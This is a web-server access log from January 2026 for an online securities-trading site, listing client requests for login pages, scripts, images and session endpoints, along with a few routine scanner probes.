[09/Jan/2026:17:43:54 +0800] 65.181.90.29 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:17:45:54 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767952542864 HTTP/1.1" 3188
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:17:51:13 +0800] 203.198.122.81 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:18:03:45 +0800] 40.77.167.126 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_proxy_http2.so HTTP/1.1" 52736
[09/Jan/2026:18:12:51 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:18:20:10 +0800] 95.214.55.71 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:18:22:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:18:22:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:18:22:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:18:22:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767954448539 HTTP/1.1" -
[09/Jan/2026:18:23:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:18:23:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767954452043 HTTP/1.1" 3188
[09/Jan/2026:18:23:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:18:23:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
